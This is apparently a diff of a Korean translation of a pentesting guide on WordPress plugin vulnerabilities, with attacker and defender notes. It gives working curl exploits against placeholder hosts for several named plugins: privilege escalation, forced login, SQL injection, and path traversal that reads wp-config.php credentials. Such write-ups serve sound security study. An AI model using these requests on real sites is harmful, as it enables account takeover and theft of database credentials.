`add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). +* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. --- -### ์˜ค๋ž˜๋œ ์—ญํ•  ๋ณต์› ๋ฐ ์ธ์ฆ ๋ˆ„๋ฝ์„ ํ†ตํ•œ ๊ถŒํ•œ ์ƒ์Šน (ASE "View Admin as Role") +### ์˜ค๋ž˜๋œ ์—ญํ•  ๋ณต์›๊ณผ ๊ถŒํ•œ ๊ฒ€์‚ฌ ๋ˆ„๋ฝ์„ ํ†ตํ•œ ๊ถŒํ•œ ์ƒ์Šน (ASE "View Admin as Role") -Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. +๋งŽ์€ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์›๋ž˜ ์—ญํ• ์„ user meta์— ์ €์žฅํ•ด ๋‚˜์ค‘์— ๋ณต์›ํ•  ์ˆ˜ ์žˆ๊ฒŒ "view as role" ๋˜๋Š” ์ž„์‹œ ์—ญํ•  ์ „ํ™˜ ๊ธฐ๋Šฅ์„ ๊ตฌํ˜„ํ•œ๋‹ค. ๋ณต์› ๊ฒฝ๋กœ๊ฐ€ capabilities ํ™•์ธ๊ณผ ์œ ํšจํ•œ nonce ์—†์ด ์š”์ฒญ ๋ณ€์ˆ˜(์˜ˆ: `$_REQUEST['reset-for']`)์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ด€๋ฆฌํ•˜๋Š” ๋ชฉ๋ก์—๋งŒ ์˜์กดํ•œ๋‹ค๋ฉด, ์ด๋Š” ์ˆ˜์ง ๊ถŒํ•œ ์ƒ์Šน(vertical privilege escalation)์ด ๋œ๋‹ค. -A real-world example was found in the Admin and Site Enhancements (ASE) plugin (โ‰ค 7.6.2.1). The reset branch restored roles based on `reset-for=` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: +์‹ค์ œ ์‚ฌ๋ก€๋กœ Admin and Site Enhancements (ASE) ํ”Œ๋Ÿฌ๊ทธ์ธ (โ‰ค 7.6.2.1)์—์„œ ๋ฐœ๊ฒฌ๋๋‹ค. reset ๋ถ„๊ธฐ(branch)๋Š” ๋‚ด๋ถ€ ๋ฐฐ์—ด `$options['viewing_admin_as_role_are']`์— ์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•˜๋ฉด `reset-for=`์— ๋”ฐ๋ผ ์—ญํ• ์„ ๋ณต์›ํ–ˆ์ง€๋งŒ, ํ˜„์žฌ ์—ญํ• ์„ ์ œ๊ฑฐํ•˜๊ณ  user meta `_asenha_view_admin_as_original_roles`์—์„œ ์ €์žฅ๋œ ์—ญํ• ์„ ๋‹ค์‹œ ์ถ”๊ฐ€ํ•˜๊ธฐ ์ „์— `current_user_can()` ์ฒดํฌ๋‚˜ nonce ๊ฒ€์ฆ์„ ์ „ํ˜€ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์•˜๋‹ค: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -์™œ ์ทจ์•ฝํ•œ๊ฐ€ +Why itโ€™s exploitable -- ์„œ๋ฒ„ ์ธก ๊ถŒํ•œ ๊ฒ€์ฆ ์—†์ด `$_REQUEST['reset-for']`์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ต์…˜์„ ์‹ ๋ขฐํ•œ๋‹ค. -- ์‚ฌ์šฉ์ž๊ฐ€ ์ด์ „์— ๋” ๋†’์€ ๊ถŒํ•œ์„ `_asenha_view_admin_as_original_roles`์— ์ €์žฅํ•ด ๋‘์—ˆ๊ณ  ์ดํ›„ ๊ถŒํ•œ์ด ๋‚ฎ์•„์ง„ ๊ฒฝ์šฐ, reset ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•ด ์ด๋ฅผ ๋ณต์›ํ•  ์ˆ˜ ์žˆ๋‹ค. -- ์ผ๋ถ€ ๋ฐฐํฌ์—์„œ๋Š”, ์ธ์ฆ๋œ ์–ด๋–ค ์‚ฌ์šฉ์ž๋„ `viewing_admin_as_role_are`์— ์—ฌ์ „ํžˆ ๋‚จ์•„ ์žˆ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ช…์„ ๋Œ€์ƒ์œผ๋กœ ๋ฆฌ์…‹์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค(๊ถŒํ•œ ๊ฒ€์ฆ ๊ฒฐํ•จ). +- ์„œ๋ฒ„ ์ธก ๊ถŒํ•œ ํ™•์ธ ์—†์ด `$_REQUEST['reset-for']`์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ต์…˜์„ ์‹ ๋ขฐํ•œ๋‹ค. +- ์‚ฌ์šฉ์ž๊ฐ€ ์ด์ „์— `_asenha_view_admin_as_original_roles`์— ๋†’์€ ๊ถŒํ•œ์ด ์ €์žฅ๋˜์–ด ์žˆ๋‹ค๊ฐ€ ๊ถŒํ•œ์ด ๊ฐ•๋“ฑ๋œ ๊ฒฝ์šฐ, reset ๊ฒฝ๋กœ๋ฅผ ํ˜ธ์ถœํ•ด ๊ทธ ๊ถŒํ•œ์„ ๋ณต์›ํ•  ์ˆ˜ ์žˆ๋‹ค. +- ์ผ๋ถ€ ๋ฐฐํฌ ํ™˜๊ฒฝ์—์„œ๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋ผ๋ฉด ๋ˆ„๊ตฌ๋‚˜ `viewing_admin_as_role_are`์— ์—ฌ์ „ํžˆ ๋‚จ์•„ ์žˆ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ์ด๋ฆ„์— ๋Œ€ํ•ด reset์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค(๊ถŒํ•œ ๊ฒ€์ฆ ๊ฒฐํ•จ). Exploitation (example) ```bash @@ -493,21 +493,21 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. +์ทจ์•ฝํ•œ ๋นŒ๋“œ์—์„œ๋Š” ์ด๊ฒƒ์ด ํ˜„์žฌ ์—ญํ• ์„ ์ œ๊ฑฐํ•˜๊ณ  ์ €์žฅ๋œ ์›๋ž˜ ์—ญํ• (์˜ˆ: `administrator`)์„ ๋‹ค์‹œ ์ถ”๊ฐ€ํ•˜์—ฌ ์‹ค์งˆ์ ์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ต๋‹ˆ๋‹ค. Detection checklist -- user meta์— 'original roles'๋ฅผ ์˜๊ตฌ ์ €์žฅํ•˜๋Š” ์—ญํ•  ์ „ํ™˜ ๊ธฐ๋Šฅ์„ ์ฐพ์•„๋ณด์„ธ์š”(์˜ˆ: `_asenha_view_admin_as_original_roles`). +- user meta์— โ€œoriginal rolesโ€๋ฅผ ์œ ์ง€ํ•˜๋Š” ์—ญํ•  ์ „ํ™˜ ๊ธฐ๋Šฅ(์˜ˆ: `_asenha_view_admin_as_original_roles`)์„ ์ฐพ์œผ์„ธ์š”. - ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฆฌ์…‹/๋ณต์› ๊ฒฝ๋กœ๋ฅผ ์‹๋ณ„ํ•˜์„ธ์š”: - - `$_REQUEST` / `$_GET` / `$_POST`์—์„œ ์‚ฌ์šฉ์ž๋ช…์„ ์ฝ๋Š”์ง€. - - `add_role()` / `remove_role()`๋กœ ์—ญํ• ์„ ๋ณ€๊ฒฝํ•˜๋ฉด์„œ `current_user_can()`์™€ `wp_verify_nonce()` / `check_admin_referer()` ์—†์ด ๋™์ž‘ํ•˜๋Š”์ง€. - - ํ–‰์œ„์ž์˜ ๊ถŒํ•œ(capabilities) ๋Œ€์‹  ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ต์…˜ ๋ฐฐ์—ด(์˜ˆ: `viewing_admin_as_role_are`)์— ๊ธฐ๋ฐ˜ํ•ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š”์ง€. + - ์‚ฌ์šฉ์ž๋ช…์„ `$_REQUEST` / `$_GET` / `$_POST`์—์„œ ์ฝ์Œ. + - `current_user_can()` ๋ฐ `wp_verify_nonce()` / `check_admin_referer()` ์—†์ด `add_role()` / `remove_role()`๋กœ ์—ญํ• ์„ ๋ณ€๊ฒฝํ•จ. + - ํ–‰์œ„์ž์˜ ๊ถŒํ•œ ๋Œ€์‹  ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ต์…˜ ๋ฐฐ์—ด(์˜ˆ: `viewing_admin_as_role_are`)์— ๊ธฐ๋ฐ˜ํ•ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•จ. --- ### Unauthenticated privilege escalation via cookieโ€‘trusted user switching on public init (Service Finder โ€œsf-bookingโ€) -Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID. +์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์‚ฌ์šฉ์ž ์ „ํ™˜ ํ—ฌํผ๋ฅผ ๊ณต๊ฐœ `init` ํ›…์— ์—ฐ๊ฒฐํ•˜๊ณ  ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฟ ํ‚ค์—์„œ ์‹ ์›์„ ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ฝ”๋“œ๊ฐ€ ์ธ์ฆ, ๊ถŒํ•œ ๋ฐ ์œ ํšจํ•œ nonce๋ฅผ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  `wp_set_auth_cookie()`๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด, ๋น„์ธ์ฆ ๋ฐฉ๋ฌธ์ž๋„ ์ž„์˜์˜ ์‚ฌ์šฉ์ž ID๋กœ ๊ฐ•์ œ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Typical vulnerable pattern (simplified from Service Finder Bookings โ‰ค 6.1): ```php @@ -538,11 +538,11 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -์™œ ์ทจ์•ฝํ•œ๊ฐ€ +์ทจ์•ฝํ•œ ์ด์œ  -- ๊ณต๊ฐœ๋œ `init` ํ›…์œผ๋กœ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (`is_user_logged_in()` ๋ณดํ˜ธ ์—†์Œ). -- ์‹ ์›์€ ํด๋ผ์ด์–ธํŠธ์—์„œ ์ˆ˜์ • ๊ฐ€๋Šฅํ•œ ์ฟ ํ‚ค(`original_user_id`)๋กœ๋ถ€ํ„ฐ ํŒŒ์ƒ๋ฉ๋‹ˆ๋‹ค. -- `wp_set_auth_cookie($uid)`๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜๋ฉด ๊ถŒํ•œ ๋˜๋Š” nonce ๊ฒ€์‚ฌ ์—†์ด ์š”์ฒญ์ž๋ฅผ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธ์‹œํ‚ต๋‹ˆ๋‹ค. +- ๊ณต๊ฐœ๋œ `init` ํ›…์€ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๋„ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค(`is_user_logged_in()` ๊ฒ€์‚ฌ ์—†์Œ). +- ์‹๋ณ„์€ ํด๋ผ์ด์–ธํŠธ์—์„œ ์ˆ˜์ • ๊ฐ€๋Šฅํ•œ ์ฟ ํ‚ค(`original_user_id`)๋กœ๋ถ€ํ„ฐ ํŒŒ์ƒ๋ฉ๋‹ˆ๋‹ค. +- ์ง์ ‘์ ์ธ `wp_set_auth_cookie($uid)` ํ˜ธ์ถœ์€ ์š”์ฒญ์ž๋ฅผ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธ์‹œํ‚ค๋ฉฐ ๊ถŒํ•œ(capability)/nonce ๊ฒ€์‚ฌ ์—†์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. Exploitation (unauthenticated) ```http @@ -554,32 +554,32 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### WAF ๊ณ ๋ ค์‚ฌํ•ญ โ€” WordPress/plugin CVEs Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highโ€‘impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. -๊ณต๊ฒฉ ๋…ธํŠธ +๊ณต๊ฒฉ์ž ๋…ธํŠธ -- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. -- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- ํ”Œ๋Ÿฌ๊ทธ์ธ๋ณ„ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๊นจ๋—ํ•œ ํŽ˜์ด๋กœ๋“œ๋กœ ํƒ€๊นƒํ•˜์„ธ์š”: `admin-ajax.php?action=...`, `wp-json//`, ์‚ฌ์šฉ์ž ์ •์˜ ํŒŒ์ผ ํ•ธ๋“ค๋Ÿฌ, shortcodes. +- ์šฐ์„  unauth ๊ฒฝ๋กœ๋ฅผ ๋จผ์ € ํ…Œ์ŠคํŠธํ•˜์„ธ์š” (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). ๊ธฐ๋ณธ ํŽ˜์ด๋กœ๋“œ๋Š” ์ข…์ข… ๋‚œ๋…ํ™” ์—†์ด๋„ ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค. +- ์ „ํ˜•์ ์ธ ๋†’์€ ์˜ํ–ฅ ์‚ฌ๋ก€: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. ๋ฐฉ์–ด ๋…ธํŠธ -- Donโ€™t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. -- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. +- ์ผ๋ฐ˜์ ์ธ WAF ์‹œ๊ทธ๋‹ˆ์ฒ˜๋งŒ์œผ๋กœ plugin CVEs๋ฅผ ๋ณดํ˜ธํ•˜์ง€ ๋งˆ์„ธ์š”. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ ˆ์ด์–ด ์ˆ˜์ค€์˜ ์ทจ์•ฝ์ ๋ณ„ ๊ฐ€์ƒ ํŒจ์น˜๋ฅผ ๊ตฌํ˜„ํ•˜๊ฑฐ๋‚˜ ์‹ ์†ํžˆ ์—…๋ฐ์ดํŠธํ•˜์„ธ์š”. +- ์ฝ”๋“œ์—์„œ๋Š” negative regex ํ•„ํ„ฐ๋ณด๋‹ค positive-security ์ฒดํฌ(์˜ˆ: capabilities, nonces, ์—„๊ฒฉํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ)๋ฅผ ์šฐ์„  ์ ์šฉํ•˜์„ธ์š”. -## WordPress Protection +## WordPress ๋ณดํ˜ธ -### Regular Updates +### ์ •๊ธฐ ์—…๋ฐ์ดํŠธ -Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: +WordPress, plugins, and themes๊ฐ€ ์ตœ์‹  ์ƒํƒœ์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋˜ํ•œ wp-config.php์—์„œ ์ž๋™ ์—…๋ฐ์ดํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **only install trustable WordPress plugins and themes**. +๋˜ํ•œ, **์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” WordPress ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๋งŒ ์„ค์น˜ํ•˜์„ธ์š”**. ### ๋ณด์•ˆ ํ”Œ๋Ÿฌ๊ทธ์ธ @@ -587,18 +587,18 @@ Also, **only install trustable WordPress plugins and themes**. - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **๊ธฐํƒ€ ๊ถŒ์žฅ์‚ฌํ•ญ** +### **๊ธฐํƒ€ ๊ถŒ์žฅ ์‚ฌํ•ญ** - ๊ธฐ๋ณธ **admin** ์‚ฌ์šฉ์ž ์ œ๊ฑฐ -- **๊ฐ•๋ ฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ **2FA** ์‚ฌ์šฉ +- ๊ฐ•๋ ฅํ•œ **๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ **2FA** ์‚ฌ์šฉ - ์ฃผ๊ธฐ์ ์œผ๋กœ ์‚ฌ์šฉ์ž **๊ถŒํ•œ**์„ **๊ฒ€ํ† **ํ•˜์„ธ์š” - Brute Force ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด **๋กœ๊ทธ์ธ ์‹œ๋„ ์ œํ•œ** ์ ์šฉ -- **`wp-admin.php`** ํŒŒ์ผ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๊ณ  ๋‚ด๋ถ€ ๋˜๋Š” ํŠน์ • IP์—์„œ๋งŒ ์ ‘๊ทผ ํ—ˆ์šฉ +- **`wp-admin.php`** ํŒŒ์ผ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๊ณ  ๋‚ด๋ถ€์—์„œ๋งŒ ๋˜๋Š” ํŠน์ • IP ์ฃผ์†Œ์—์„œ๋งŒ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜์„ธ์š”. -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) +### ์ธ์ฆ๋˜์ง€ ์•Š์€ SQL Injection โ€” ๋ถ€์ ์ ˆํ•œ ๊ฒ€์ฆ์œผ๋กœ ์ธํ•ด (WP Job Portal <= 2.3.2) -The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: +WP Job Portal recruitment plugin์€ **savecategory** ์ž‘์—…์„ ๋…ธ์ถœ์‹œ์ผฐ๊ณ , ์ด๋Š” ๊ฒฐ๊ตญ ๋‹ค์Œ์˜ ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋ฅผ `modules/category/model.php::validateFormData()` ๋‚ด๋ถ€์—์„œ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat โœ— $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +์ด ์Šค๋‹ˆํŽซ์ด ์œ ๋ฐœํ•˜๋Š” ๋ฌธ์ œ: -1. **Unsanitised user input** โ€“ `parentid` comes straight from the HTTP request. -2. **String concatenation inside the WHERE clause** โ€“ no `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** โ€“ although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`. +1. **Unsanitised user input** โ€“ `parentid`๊ฐ€ HTTP ์š”์ฒญ์—์„œ ๊ทธ๋Œ€๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. +2. **String concatenation inside the WHERE clause** โ€“ `is_numeric()` / `esc_sql()` / prepared statement ์—†์Œ. +3. **Unauthenticated reachability** โ€“ ํ•ด๋‹น ์•ก์…˜์€ `admin-post.php`๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜์ง€๋งŒ, ์œ ์ผํ•œ ๊ฒ€์ฆ์€ **CSRF nonce** (`wp_verify_nonce()` )๋ฟ์ด๋ฉฐ, ์ด nonce๋Š” shortcode `[wpjobportal_my_resumes]`๋ฅผ ํฌํ•จํ•œ ๊ณต์šฉ ํŽ˜์ด์ง€์—์„œ ๋ˆ„๊ตฌ๋‚˜ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -#### Exploitation +#### ์•…์šฉ -1. ์ƒˆ๋กœ์šด nonce๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค: +1. ์ƒˆ๋กœ์šด nonce ํš๋“: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. `parentid`๋ฅผ ์•…์šฉํ•ด ์ž„์˜์˜ SQL์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค: +2. `parentid`๋ฅผ ์•…์šฉํ•ด ์ž„์˜์˜ SQL์„ ์ฃผ์ž…: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -์‘๋‹ต์€ ์ฃผ์ž…๋œ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋…ธ์ถœํ•˜๊ฑฐ๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ SQLi๋ฅผ ์ž…์ฆํ•ฉ๋‹ˆ๋‹ค. +์‘๋‹ต์€ ์ฃผ์ž…๋œ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋…ธ์ถœํ•˜๊ฑฐ๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ SQLi๊ฐ€ ์กด์žฌํ•จ์„ ์ž…์ฆํ•ฉ๋‹ˆ๋‹ค. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: +๋‹ค๋ฅธ ์ž‘์—…์ธ **downloadcustomfile**๋Š” ๋ฐฉ๋ฌธ์ž๊ฐ€ Path Traversal์„ ์ด์šฉํ•ด ๋””์Šคํฌ์ƒ์˜ **๋ชจ๋“  ํŒŒ์ผ**์„ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ sink๋Š” `modules/customfield/model.php::downloadCustomUploadedFile()`์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name`์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋ฉฐ **without sanitisation** ์ƒํƒœ๋กœ ์ด์–ด๋ถ™์—ฌ์ง‘๋‹ˆ๋‹ค. ๋‹ค์‹œ ๋งํ•˜๋ฉด, ์œ ์ผํ•œ ์žฅ๋ฒฝ์€ ์ด๋ ฅ์„œ ํŽ˜์ด์ง€์—์„œ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” **CSRF nonce**์ž…๋‹ˆ๋‹ค. +`$file_name`์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋ฉฐ **์ž…๋ ฅ ์ •ํ™” ์—†์ด** ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์‹œ ๋งํ•ด, ์œ ์ผํ•œ ๊ด€๋ฌธ์€ ์ด๋ ฅ์„œ ํŽ˜์ด์ง€์—์„œ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” **CSRF nonce**์ž…๋‹ˆ๋‹ค. #### Exploitation ```bash @@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -์„œ๋ฒ„๊ฐ€ `wp-config.php`์˜ ๋‚ด์šฉ์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ DB credentials์™€ auth keys๋ฅผ leakํ•œ๋‹ค. +์„œ๋ฒ„๊ฐ€ `wp-config.php`์˜ ๋‚ด์šฉ์„ ์‘๋‹ตํ•˜์—ฌ, leaking DB credentials and auth keys. -## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Social Login AJAX fallback๋ฅผ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณ„์ • ํƒˆ์ทจ (Jobmonster Theme <= 4.7.9) -๋งŽ์€ ํ…Œ๋งˆ/ํ”Œ๋Ÿฌ๊ทธ์ธ์€ admin-ajax.php๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋˜๋Š” "social login" ํ—ฌํผ๋ฅผ ํฌํ•จํ•œ๋‹ค. ์ธ์ฆ๋˜์ง€ ์•Š์€ AJAX ์•ก์…˜(wp_ajax_nopriv_...)์ด provider ๋ฐ์ดํ„ฐ๊ฐ€ ์—†์„ ๋•Œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์‹๋ณ„์ž๋ฅผ ์‹ ๋ขฐํ•˜๊ณ  wp_set_auth_cookie()๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด, ์ด๋Š” ์™„์ „ํ•œ ์ธ์ฆ ์šฐํšŒ๊ฐ€ ๋œ๋‹ค. +๋งŽ์€ ํ…Œ๋งˆ/ํ”Œ๋Ÿฌ๊ทธ์ธ์ด admin-ajax.php๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ "social login" ํ—ฌํผ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ธ์ฆ๋˜์ง€ ์•Š์€ AJAX ์•ก์…˜(wp_ajax_nopriv_...)์ด provider ๋ฐ์ดํ„ฐ๊ฐ€ ์—†์„ ๋•Œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์‹๋ณ„์ž๋ฅผ ์‹ ๋ขฐํ•˜๊ณ  wp_set_auth_cookie()๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด, ์ด๋Š” ์™„์ „ํ•œ ์ธ์ฆ ์šฐํšŒ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. -Typical flawed pattern (simplified) +์ „ํ˜•์ ์ธ ์ทจ์•ฝ ํŒจํ„ด(๋‹จ์ˆœํ™”) ```php public function check_login() { // ... request parsing ... @@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -์™œ ์ทจ์•ฝํ•œ๊ฐ€ +Why itโ€™s exploitable -- ์ธ์ฆ ์—†์ด admin-ajax.php๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅ (wp_ajax_nopriv_โ€ฆ action). -- ์ƒํƒœ ๋ณ€๊ฒฝ ์ „์— nonce/capability ์ฒดํฌ ์—†์Œ. -- OAuth/OpenID provider ๊ฒ€์ฆ ๋ˆ„๋ฝ; default branch๊ฐ€ ๊ณต๊ฒฉ์ž ์ž…๋ ฅ์„ ์ˆ˜์šฉํ•จ. -- get_user_by('email', $_POST['id']) ๋‹ค์Œ์— wp_set_auth_cookie($uid)๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์š”์ฒญ์ž๋ฅผ ๊ธฐ์กด ์ด๋ฉ”์ผ ์ฃผ์†Œ ์ค‘ ํ•˜๋‚˜๋กœ ์ธ์ฆํ•จ. +- admin-ajax.php๋ฅผ ํ†ตํ•ด ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅ (wp_ajax_nopriv_โ€ฆ action). +- ์ƒํƒœ ๋ณ€๊ฒฝ ์ „์— nonce/capability ๊ฒ€์ฆ์ด ์—†์Œ. +- OAuth/OpenID provider ๊ฒ€์ฆ ๋ˆ„๋ฝ; ๊ธฐ๋ณธ ๋ถ„๊ธฐ(default 